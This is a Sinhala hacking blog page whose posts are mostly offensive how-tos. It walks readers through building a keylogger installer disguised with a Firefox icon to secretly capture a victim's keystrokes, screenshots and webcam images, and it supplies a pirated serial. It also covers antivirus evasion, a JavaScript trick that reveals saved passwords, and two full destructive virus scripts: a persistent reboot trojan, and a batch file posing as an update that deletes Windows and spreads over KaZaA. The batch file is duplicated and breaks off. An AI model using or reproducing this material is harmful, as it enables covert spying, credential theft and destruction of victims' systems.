R.B.M.R (හැම දෙයක්ම)

කොහොමද සෙට් එකට ඇ ...

අද කාලෙ බල්ලටයි පූසටයි කියලා නෑ නෙ... හැම කෙනාටම ඇන්ඩ්‍රොයිඩ් පෝන් එකක් තියෙනවානෙ ..... අන්න ඒ නිසා අපේ පරන RBMR ඇප් එක තවත් අලුත් කරලා වැඩකෑලි දාලා දෙන්න අපි හිතුවා....
…මේ ඇප් එක ගැන හොද නරක සහ තව හදාගන්න දේවල් තියෙනවනම් මට ඊමේල් එකක් හරි බුකියෙ මැසේජුවක් දාලා හරි කියන්නකෝ අපිත් ආසයි වැරදි හදාන ඉස්සරහට යන්න :D
…හරි එහෙනම් දාගෙන බලන්නකො කොහොමද කියලා
…
…මෙක 1.02 version එක මෙකේන් ඔයාලට RBMR අපේ බ්ලොග් එකේන් අලුතේන් දෙන පෝස්ට් එහෙම ගොඩක් ලෙසියෙන් බලාගන්න පුලුවන්වෙයි

ඔය පල්ලෙහායි දාලා ඇති ස්ක්‍රීන් ශොට් එකක් මගේ ඇප් එකේ 

ඔන්න යටින් ඇති QR Code එකත් එකෙනුත් පුලුවන් ස්කෑන් කරලා අපේ ඇප් එක ගන්න

මම අද කියන්ඩ යන්නේ keylogger එකකින් hack කරන්නේ කොහොමද කියලා...

මම කලින් ලිපියෙන් කියලා දුන්නනේ keylogger එකක් කියන්නේ මොකක්ද කියලා වගේම ඒකෙන් hack කරන්න පුලවන් මොන වගේ දෙවල්ද කියලා...
ඒක කියවපු නැති කෙනෙක් ඉන්නවනම් මෙතනින් ගිහින් කියවලා එන්ඩකෝ... 

දැන් මෙහෙමයි...keyloggers කිව්වම බර ගානක් තියනවානේ...මම ඒකෙන් තෝර ගත්තේ Ardamax Keylogger එක..


හරි එහෙනම් මුලින්ම පල්ලෙහින් ගිහින් ඒක download කරගන්නකෝ...


හරි දැන් මෙහෙමයි...keylogger එකක් භාවිතා කරන්ඩ පුලුවන් අවශ්‍යතා 2කට..

1-තමනගේම computer එක භාවිතා කරන තවත් කෙනෙක් hack කරන්ඩ

2-වෙනත් computer එකක් hack කරන්ඩ

දැන් එතකොට ඔයාල ගොඩක් දෙනෙක්ට අවශ්‍ය වෙන්නේ වෙන computer එකක් භාවිත කරන කාගේ හරි passwords hack කරන්නනේ...
ඒ නිසා මම අද ඒක ගැන විතරක් කියලා දෙන්නම්...
අනිත් විදිහ බොහොම ලේසි විදිහක්..ඒක ඔයාලටම කරගන්ඩත් පුලුවන්...ඒත් කාටහරි ගැටලු තියනවනම් කියන්ඩ...මම කියලා දෙන්නම්...

හරි මුලින්ම download කරගත්ත එක install කරගන්න..අපි මුලින්ම මේ software එක active කරගන්න ඕනේ...
ඔයාලට පේනවා ඇති නේද ඔයාලගේ taskar එකේ පහල කෙලවරේ ardamax keylogger එකේ icon එකක් ඇවිත් තියනවා... 

ඒක උඩ right click කරාම submenu එකක් open වෙයි..ඒකේ තියනවා enter registration key කියලා තැනක්...
 
එතනින් ගියාම මේ වගේ dialog box එකක් open වෙයි...

ඒකේ මේ තොරතුරු ඇතුලත් කරන්න..

User   : h3d1und 3r1k

Serial : 206B-2A3B-91A2

හරි දැන් ok කරාම වැඩේ හරි...

දැන් ඉතින් hack කරන්න පටන් ගන්න තමා තියෙන්නේ...
මුලින්ම ආපහු  right click කරලා submenu එක open කරගන්න...

ඒකේ තියනව නේද Remote Installation කියලා එකක්..ඒකට යන්න...
දැන් ඔයාලට දිග dialog එකක් තියනවා..මම මේ පල්ලෙහයින් දාලා තියන screenshots වල විදිහට ඒ ඒ dialog box එක සම්පූර්න කරන්න..සමහර dialog box වල screenshots මම දාලා නෑ..ඒවා ඔය තියන විදිහටම next කරන්න..

මෙතන send to කියන තැනට ඔයාගේ email adress එක දෙන්න..username,password තැනට ඔයාගේ email එකේ username password දෙන්න..

මෙතනදී මෙන්න මෙතනදි ඔයාලට පුලුවන් Installation file එකට කැමති icon එකක් දෙන්න..පේනවනේ මම firefox icon එක දීලා තියෙන්නේ...ඉතින් ඒ වගේ හොද icon එකක් දෙන්න අමතක කරන්න එපා...මොකද අපි තව කෙනෙක්ව රවට්ටන්ඩ ඕනෙනේ...
හරි දැන් ඒ විදිහට හදා ගත්තම ඔන්න අන්තිමට අපි හදා ගත්ත file එක ලැබෙනවා...

දැන් මෙච්චරයි කරන්න තියෙන්නේ...ඔය file එක දෙන්න ඔයාට hack කරන්න ඕන කෙනාට..අර මම කිව්ව වගේ icon එක වෙනස් කරානම් game එකක් හරි software එකක් හරි වගේනේ පේන්නේ...
එයා ඕක open කරපු ගමන්ම දන්නේම නැතුව keylogger එක ඔයාගේ යාලුවගේ තොරතුරු රැස් කරන්න පටන් ගන්නවා...ඊට පස්සේ සැරින් සැරේ ඔයා අර කලින් දුන්න email adress එකට log files එවනවා...
screenshots,webcam images,internet logs,keystroke logs මෙකී නොකී හැම දේම හරියටම එවනවා...
නියමයි නේ..
එහෙනම් මම ගියා හැමෝටම ජය ශ්‍රී .......... කොමෙන්ටුවක් කොටන්න අමතක කරන්න එපා මචන්ලා.... ඔයාලගෙ අදහස් ගොඩක් වටිනවා අපිට  

හොදයි එහෙනම් ඔන්න මම keyloggers කියන මතෘකාවට බහින්ඩ තමයි යන්නේ...කෝ ට්ටිය අත්පුඩියක් එහෙම දෙන්න බලන්න :D 

Keylogger එකක් කියන්නේ පරිගනකයක තියන දත්ත හොරකම් කරන්න සකස් කරපු Softwear එකක් හරි Hardware එකක් හරි තමා ඔන්න ......  


මොනවද මේ key logger එකකින් හොරකම් කරන්නේ????

Key strokes log- 

අපි keyboard එක මගින් ඇතුලත් කරන හැම දත්තයක්ම හොරකම් කරන්න keylogger එකකට පුලුවන්.ඒ කිව්වේ මේ කියන leylogger එක අපි keyboard එකෙන් ඇතුලත් කරන හැම දේ ගැනම සම්පූර්ණ log එකක් save කරගන්නවා...ඊට පස්සේ ඒක හැකර් අතට පත් කරනවා....

Web Log-

මේකෙන් වෙන්නේ අපි වෙබ් එකට සම්බන්ධ වෙලා කරන කියන දේවල් හැම එකක්ම keylogger එක මගින් සටහන් කරගන්නවා...passwords,usernames විතරක් නෙවෙයි අපි surf කරන හැම website එකක් ගැනම සම්පූර්ණ වාර්තාවක් පිලියෙල කරලා ඒක හැකර් අතට පත් කරනවා....

Chat Log-

 ඒ කිවිවේ අපි chat කරන හැම දේම මෙයා සටහන් කර ගන්නවා...facebook,skype වගේ හැම දෙයක්ම...ඊට පස්සේ ඒක හැකර් අතට පත් කරනවා....

Application Log- 

මේකෙන් අපි පාවිච්චි කරන හැම මෘදුකාංගයක් ගැනම සටහන් වෙනවා...ඒ මෘදුකාංගයෙන් කරපු දේවල් පවා සටහන් වෙනවා...ඊට පස්සේ ඒක හැකර් අතට පත් කරනවා....

 Screenshots-

මේකනම් බොහොම ප්‍රෙයෝජනවත් වෙනවා හැකර්ලට... අපිට පුලුවන් යම් කිසි කාලයකට වරක් screenshots ලබා ගන්න කියලා සකස් කරන්න...ඒ කිව්වේ විනාඩි 5ක් දුන්නොත් keylogger එක විනාඩි 5න් 5ට screenshots ලබාගන්නවා....ඊට පස්සේ ඒ screenshots ටික අනිත් ලොග් ෆයිල් එක්කම අපිට ලැබෙන්ඩ සලස්වන්න පුලුවන්...

Web cam images- 

මේකෙන් වෙන්නේ අර වගේම අපි ලබාදුන්න කාලයකට වරක් keylogger එක මගින් webcam එකෙන් automatically images ලබා ගන්නවා...ඊට පස්සේ ඒවත් අනික් ලොග් ෆයිල් එක්කම අපිට ලැබෙන්ඩ සලස්වනවා...

දැන් මම මේ කිව්වේ Ardamax keylogger එකෙන් අපිට හොරකම් කරන්න පුලුවන් දේවල්...තව තව keyloggers වල තව තව හොද හොද සෙල්ලම් ඇති.... :-) 
Keyloggers වර්ග



  Software Keyloggers-

මේවා අපිට තියෙන්නේ install කරලා settings ටික හදන්න විතරයි...එතකොට keylogger එකේ log files ටික email වලින් හරි ftp account එකකට හරි ගෙන්න ගන්න පුලුවන්...
මේවා ගොඩක් වෙලාවට virus guard වලට අහු වෙනවා...ඒකෙන් මිදෙන්න ක්‍රම තියනවා... ඒ තමා binders හා crypters භාවිත කිරීම සහ FUD Keyloggers භාවිත කිරීම.

binders වලින් වෙන්නේ හොද software එකක් එක්ක මිශ්‍ර කරලා keylogger එක කාට හරි යවන එක.

crypters වලින් වෙන්නේ keylogger එකේ source code එක හංගන එක...මේ ක්‍රම දෙක ගැන අපි වෙන පෝස්ට් එකකින් ඔය ගැන කතා කරමුකෝ...

එතකොට FUD Keyloggers කියන්නේ Fully UnDetectable Keyloggers කියන එක...ඒ කියන්නේ ඒවා හදලා තියෙන්නෙම virus guard වලට අල්ලන්න බැරි විදිහට...

Hardware Keyloggers-




 

 
මේවා ගොඩක් වෙලාවට professional hackersලා තමා භාවිත කරන්නේ...මේවා එන්නේ මොකක් හරි computer hardware එකක හංගලා...ගොඩක් වෙලාවට key board,flash drive වගේ ඒවගේ තමා...මේවගෙන් වෙන්නෙත් අපේ තොරතුරු හොරකම් කරලා රදවා ගන්නවා...ඊට පස්සේ හැකර් මොනම හරි ක්‍රමයකින් ඒ hardware එක ලබාගෙන තොරතුරු ලබා ගන්නවා...
දැන් ඔයාලට පේනවා ඇතිනේ අපිට hardware keyloaggers භාවිත කරන්න විදිහක් නැති බව...ඒ නිසා software keyloggers ගැන කතා කරමු.... 

Keylogger එකකින් හැක් කරන්න පුලුවන් කාවද?

• අපේ computer එකම පාවිච්චි කරන වෙන කෙනෙක්ගේ තොරතුරු  බොහොම ලේසියෙන් හැක් කරන්න පුලුවන්...ඒකට කරන්න තියෙන්නේ keylogger එක  install කරලා settings හදලා තියන එක විතරයි..

• internet access තියන ඕනම කෙනෙක්ගේ computer එකක් හැක් කරන්න පුලුවන්...මේකෙදී මෙහෙමයි...අපිට වෙන කාගේ හරි computer එකකට Keylogger එක දාන්න ඕනේ නම් Remote Installation File එකක් හදා ගන්න ඕනේ...ඒක ගැන ඊලග ලිපියකින් කතා කරමු...මොකද හැම දේම පිලිවෙලකට යන්න ඕනේනේ.... 

මේකට යන වියදම???????????????????????

දැන් මෙහෙමයි...Keylogger එකනම් ටිකක් ගනන්.........ඒත් බයවෙන්ඩ ඕනේනෑ...මම serial එකත් දෙන්නම්....එතකොට ඉතින් වියදමක් නෑ තමයි....



හරි එහෙනම් ඔන්න මම සම්පූර්ණ විස්තරයක් දුන්න Keyloggers ගැන...

එහෙනම් අපි ඊලග ලිපි වලින් බලමු keyloggers වලින් හැක් කරන විදිහ...අවශ්‍ය වෙන මෘදුකංග serials එක්කම දෙන්නම්....එතකොට ඉතින් නයත්  නෑ බයත් නෑ :D





එහෙනම් හැමෝටම ජය ශ්‍රී ...... කොමෙන්ට් එකක් කොටන්න අමතක කරන්න එපා මචන්ලා

DoS(Denial of Service Attack) හෝ DDoS(Distributed Denial of Service Attack)පිස්සු වගේ නේද ?? හි හි 
ඔහොම යනකොට තේරෙයි තව පල්ලෙහාට යමුකෝ එතකොට හරි 


මම මේකට උදාහරනයක් ගත්තොත් A\L O\L result out උන ගමන්ම doenets.lk එකට යන්ඩ මොනතරම් try කරත් ගොඩක් දෙනෙකුට website unavailable කියලා වැටෙනවා මිසක් සයිට් එකට යන්ඩ බෑනෙ නේද??
ඒකට හේතුව වෙන්නේ ගොඩක් දෙනෙක් එකම වෙලාවේ ඒ වෙබ් සයිට් එකට එන්න හදපුවම site එකට දෙන්න පුලුවන් උපරිම traffic limit එක පනිනවා..ඒ කිව්වේ වෙබ්සයිට්ස් webserver කියන්නෙත් අපි එදිනෙදා දකින පරිගනක වගේ ඒත් ඊට වඩා ප්‍රමානයෙන්,ධාරිතාවයෙන්,සම්පත් වලින් ආදියෙන් ඉහල server os එකක් භාවිතා කරන PC ..ඔය මොනවා තිබ්බත් එක සැරේ ලක්ෂ ගානක් දෙනා මේ webserver එක භාවිතා කරද්දි අපේ පරිගනක වගේම මේකත් slow වෙනවා..තව තව අය භාවිතා කරන්න පටන් ගද්දි මේක වැඩ නැතුවම යනවා..ඒ කිව්වේ webserver එකට එය භාවිතා කරන්නන් ගනන හෝ එන අයගෙ ඉල්ලීම් දරා ගත නොහැකි වෙනවා.. දැන්නම් න්න චුට්ටක් විතර තෙරෙන්න ඕනා ..... ඒත් ඇත්තම් තව ඉකක් පහලට යමුකෝ....

DoS / DDoS Attack එකකදි වෙන්නේ අපි බොරුවට මේ වගේ ලොකු traffic එකක් eහදන ක ..ඇත්තටම මේ වගේ ට්රැෆික්  එකක් නැති උනත් අපි ඇති කරන බොරු ට්රැෆික් එක නිසා webserver එක හිර වෙනවා..Bandwidth limit එකක් තියනවනම් ඒක ඉවර වෙනවා..ඒ වගේ දේවල් නිසා වෙබ්සයිට් එක unavailible වෙනවා හැම කෙනෙක්ටම..

ඔන්න ඕක තමා සරලවම DoS / DDoS Attack එකක් කියන්නේ. දැන් ඔයාලගෙ පුරස්නෙට උත්තරෙ හම්බුනානෙ හරි eඑහෙනම් dතව දේවල් තියෙනවා ඒවත් හොම්මම yබලාගෙන අමක් ඉගෙන ගෙන යමල්ලා :D

එතකොට PDoS - Permanent Denial of Service කියන්නේ ජාල උපාංග වල මොකක් හරි අවුලක් භාවිතා කරලා පරිගනකයක hardware වලට ස්ථීරවම සෙත්තපෝච්චි  කිරීම.... ඒවා පස්සෙ අතා කරමුකෝ 

 අද බලමු DoS / DDoS Attacks ප්‍රධාන වර්ග

 Hack කිව්වට මේක පොඩි JavaScript එකක් . ඒ වුනත් මෙකෙන් ඕනම password ( under asterisks ******) එකක් පහසුවෙන් බලා ගන්න පුලුවන්..මෙක ලියන්නෙ වඩාත්ම අපේ රජ යියලව දැනුවත් කරන්න මිස කාගෙවත් password හොරෙන් බලන්න නෙමෙයි ඈ....
අපේ ගොඩක් කස්ටිය ඒ කියුවෙ Cafe වලින් Internet එන ඈයො  මෙතනදි පරිස්සම් වෙන්න ඕන කිසිම වෙලාවක g-mail හෝ වෙන password භාවිතා කරනනකොට  කිසිමවිටකවත් web Browser එකට password save කරන්න එපා . මොකද එහෙම උනොත්  වෙන අයට අපේ password බලාගන්න පුලුවන් වෙන නිසා. මේ JavaScript එකෙන් ලේසියෙන් password බලාගන්න පුලුවන්..කරන්න තියෙන්නෙ මේ JavaScript එක address bar එකට කොපි කරලා Enter කරන එක විතරයි.

javaScript:- javascript: alert(document.getElementById('Passwd').value);


උදාහරනයක් විදිහට හිතන්න කවරුහරි G-mail sign in වෙලා වැරදිමකින් password එක save වෙලා කියලා (මෙය වලක්වා ගැනිමට පොදු පරිගණකයක් භාවිතාකරන හැම විටම අවසානයේ cache සහ private data clear කරන්න වගබලා ගන්න. ) එතකොට ඉලඟට ඒ PC එකෙන් G-mail log වෙන්න බලන කෙනෙකුට පහල තියෙන විදිහට තමයි Gmail window එක එන්නෙ.අපේ password (under asterisks) එක්ක.

ඒත් මේ JavaScript යොදාගෙන අපිට password එක දැනගන්න පුලුවන්........ JavaScript එක උඩ තිබුනෙ එක බලන්නෙ .....

මෙක අපේ password එක වෙනස් කරල අපෙ account එක අත්පත් කරගත්තට වඩා භයානකයි. මොකද අපි නොදැනුවත්ම වෙන කෙනෙකුටත් අපි භාවිතා කරන G-mail account එක පාවිච්චි කරන්න පුලුවන් . ඒ නිසා මම හිතනවා මේ ගැන සැලකිලිමත් විම වටිනවා කියලා.(JavaScript turning off කරල මෙ ක්‍රමයෙන් වලක්වා ගන්න පුලුවන් වුනත් එහිදි වෙනත් website බලනකොට ගැටලු මතුවෙනවා, මොකඳ JavaScript වැඩ නැති නිසා )


හරි හෙනම් මම ගියා කට්ටියටම ජය ශ්‍රී....

ඔන්න එහෙනම් මම අදත් ආවා මරු වැඩ කෑල්ලක් අරන්....
පෝස්ට් එකේ මාතෘකාවෙන්ම තේරෙනවා ඇතිනෙ වැඩේ මොකද්ද කියලා ..... ඔයාලා ආස ඇතිනෙ ඔයාගෙ බුකිය් වෝල් එකට වැඩියෙන්ම එන කෙනා බලන්න.... හුගක් අයනම් මේකට සමහර ඇප්ස් පාවිච්චි කරනවා බුකියෙ තියෙන .... ඒත් අපි ඒවා වල හරි වැරැද්ද දන්නෙ නෑනෙ... ඒත් ඔන්න මේ සිස්ටම් එකනම් 100% අත්දුටුයි ප්‍රත්‍යක්ශයි ඇ .....
…
…හරි හරි දැන් ගේමට එමු එහෙනම් ....

1.ඉස්සෙල්ලම ඔයාලා ඔයාලගේ බුකියෙ මුල් පුටුවට යන්න. Facebook Profile Page එක ඇ ..
2. දැන් ඕකේ ඕනෑම තැනකට ගිහින් මවුස් එකේ රයිට් කිලික් කරන්න.
3. එකේ ඇති view page source කියලා එකක් අන්න එතන කිලික් කරන්න.
4. දැන් ඔයාලට ඔයාගේ බ්‍රොව්සර් එකේ අලුත් ටැබ් එකක් මතු උනා නේ, අන්න එකට ගිහින් " CTRL+F " ප්‍රස් කරන්න.
5. දැන් ඉහතින් ඒ මතු උන ෆ්යින්ඩ් බොක්ස් එකේ {"list" කියලා ටයිප් කරලා එන්ටර් කරන්න.

 දැන් ඔයාලට මෙන්න මේ වගේ ලිස්ට් එකක් බලා ගන්න පුළුවන්

{"list":["1000004563789","10000045898749","1000004657899"....................................

    දැන් ඉතින් වැඩේ හරි. ඔය ඔයාට බලාගන්න පුළුවන් ඔයාගේ මුහුණ පොතට නිතරම ආව අයගේ ලිස්ට් එක. ඔය මම රතු පාටින් උඩ දාලා තියෙනවා වගේ අන්ක සැට් එකක් ඉස්සෙල්ලම තියෙන්නේ වැඩියෙන්ම ආව කෙනාගේ ඉඳලා පිළිවෙලට ඔයත් ඔයාගේ ලිස්ට් එකම චෙක් කර ගන්නකො.

    ඔය ලිස්ට් එක කියවන්නේ මෙහෙමයි. ඔය නම්බර්ස් වැටිලා තියෙන්නේ එක එක එක්කෙනාගේ පේජ් වල අංක ඕවට යන විදිය මම පල්ලෙහායින් කියන්නම්

මේ විදියට කරන්න.

   Address Bar එකේ  මේ විදියට type කරන්න.....

  www.facebook.com/id number 

ඒ කියන්නේ අර ඔයාගෙ ආපු අන්ක සැට් එක ඔය මම උඩින් දාලා තියෙන නිල් පාට තැනට දාගන්න
…තේරුනේ නෑ නේද ??
…මම දැනගත්තා තේරුනේ නෑ කියලා
…හරි බලහල්ලකො පල්ලෙහා එතකොට තේරෙයි

www.facebook.com/1000004563789

ඔන්න ඔහොමයි ඇ  

හරිනෙ !
…ඔන්න එහෙනම් මම ගියා කස්ටියටම ජය ශ්‍රී
…
…මචන්ලා පෝස්ට් එක බලලා යමක් ඉගෙනගෙන අපිට සහයෝගයක් විදිහට කොමෙන්ටුවක් කොටලා යන්න අමතක කරන්න එපා....  

ඔන්න අද මම කියන්න යන්නෙ තව කෙනෙක්ගෙ IP එකක් හැක් කරන විදිහ ඒ කූවෙ... හැක කරන කට්ටිය කියන  කතාවක්නෙ IP එකෙනුත් තව කෙනෙක්ව හැක් කරන්න පුලුවන් කියලා ඒත් ඔන්න මම IP එකෙන් ඒක කොරන සාත්තරේනම් කියන්න යන්නෙ නැ ඒත් මම මෙ පෝස්ට් එකෙන් කියලා දෙන්නෙ තව කෙනෙක්ගෙ IP එක හොයාගන්න විදිහ හෙන ලේසි වැඩක් තියෙන්නෙ කරන්න

අපිත් එක්ක හිටියොත් තව තව දේවල් ඔයාලට ඉගෙන ගන්න පුලුවන් වෙනවා ඒක නිසා අපිත් ක්ක දිගටම ඉන්න කියලා ආරාධනා කරනවා



හරි බන ඇති.......
ඔන්න ඔය පල්ලෙහා තියෙන ලින්ක් කට යන්න මුලින්


හරි ඔන්න ඔය ලින්ක් එකට ගියාම පෙන්නයි ඔය යටින් තියෙනවා වගේ  එකක්

මේ සේරම දේවල් ලියන්නේ education purpose විතරයි,වැරදි දේවල් වලට යොදාගන්න එපා!
මේ පෝස්ට් එකෙන් ලියන්නේ....කාටවත් හානියක් කරන්න මෙ දේවල් යොදා ගන්න එපා

ඔබ කරන ගොන් වැඩ වලට වග කියනු නොලැබෙ


මෙහෙමයි,
මුලින්ම  notepad එක open කරන්න....
ඊලගට  පහත තියෙන  code එක ගහ ගන්නකො ටිකක් දිගයි තමා ඒත් හැම දේම Copy Paste කරන්න ගියොත් කිසි ගතියක් නෑනෙ

 මතක තියාගන්න මෙ වයිරස් කලින් හදපු වට වඩා ගොඩක් භයානක වයිරස් ටිකක් ඒක නිසා පුතො වයිරස් එක හැදුවට කමක් නැ ඒක ඔපන් කරන්නනම් එපා

(කාරුණික දැනුම් දීමයි මෙම පොස්ටුව අත්හදා බැලීමට නොවේ දන ගැනීම පිණිසයි,අත්හදා බැලුවොත් එය ඔබට නැවත අත්හදා බලන්නටද නොහැකි අනු ඇත  )

Virus  1



brakes - dlRB "DL Reboot" Trojan script by D.L.
On Error Resume Next FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData
set FSobj = CreateObject ("Scripting.FileSystemObject") set sysDir = FSobj.GetSpecialFolder (1)
createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \dlRB", sysDir & "\ dlRB.vbs"
sub createRegKey (regkey, regVal) set regedit = CreateObject ("WScript.Shell") regEdit.RegWrite regkey, regVal end sub
set generateCopy = FSobj.CreateTextFile (sysDir + "\ dlRB.vbs") generateCopy.close
set newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1) setFile () fixedCode = replace (fileData, chr (94), "" "")
set procreateCopy = FSobj.OpenTextFile (sysDir + "\ dlRB.vbs", 2) procreateCopy.write fixedCode procreateCopy.close
rebootSystem ()
setFile function () fileData = "rem - ^ ^ by D.L. dlRB" & vbCrLf & _ "strComputer = ^. ^" & vbCrLf & _ "Set objWMIService = GetObject (winmgmts ^: ^ _" & vbCrLf & _ "& ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^)" &vbCrLf & _ "Set colOperatingSystems = objWMIService.ExecQuery _ '& vbCrLf & _ "(Select * from Win32_OperatingSystem ^ ^)" & vbCrLf & _ "For Each objOperatingSystem in colOperatingSystems" & vbCrLf & _ "ObjOperatingSystem.Reboot ()" & vbCrLf & _ "Next" end function
rebootSystem function () strComputer = "."
Set objWMIService = GetObject ("winmgmts:" _ & "{ImpersonationLevel = impersonate, (Shutdown)}! \ \" & StrComputer & "\ root \ cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot () Next end function










 Virus 2




@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed



with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>



c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed

with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
